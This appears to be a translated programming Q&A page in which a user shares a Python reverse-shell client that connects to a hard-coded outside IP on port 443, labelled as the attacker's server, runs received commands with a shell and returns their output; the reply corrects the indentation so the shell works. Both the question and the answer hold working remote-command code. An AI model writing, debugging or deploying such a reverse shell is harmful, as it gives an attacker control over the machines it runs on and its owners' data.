1

我创建了一个 python 程序来让服务器获取客户端 cmd。但其中存在一些问题。我的服务器工作正常,它正在监听,但我不知道 shell 是否工作正常,因为我的客户端出现故障。

#! /bin/usr/python
import socket, subprocess

HOST = '81.82.40.78'
PORT = 443

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect to server (attacker)
s.connect((HOST, PORT))

# Send we are connected
s.send('Connect established')

# start loop
while 1:
    # Receive shell command
    data = s.recv(1024)
    # Convert to string in case of it being an integer
    # if it's quit, then break out and close socket
    if data == "quit": break
    # Do shell command
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        # Read output
        stdout_value = proc.stdout.read() + proc.stderr.read()
        # Send output to server
        s.send(stdout_value)
    # Close socket
    s.close()

给我的错误是:

proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

名称有问题 - 我该如何解决这个问题?

4

1 回答 1

2

您需要在if声明之后修复缩进(仅限于一行)。我将 移到break下一行,正确缩进,说明:

while 1:
    # Receive shell command
    data = s.recv(1024)
    # Convert to string in case of it being an integer
    # if it's quit, then break out and close socket
    if data == "quit":
        break
    # Do shell command
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    # Read output
    stdout_value = proc.stdout.read() + proc.stderr.read()
    # Send output to server
    s.send(stdout_value)
# Close socket
s.close()

请注意,您从该行开始将所有内容都if缩进了太多,包括属于循环之外s.close()语句。while

于 2013-03-15T23:07:58.253 回答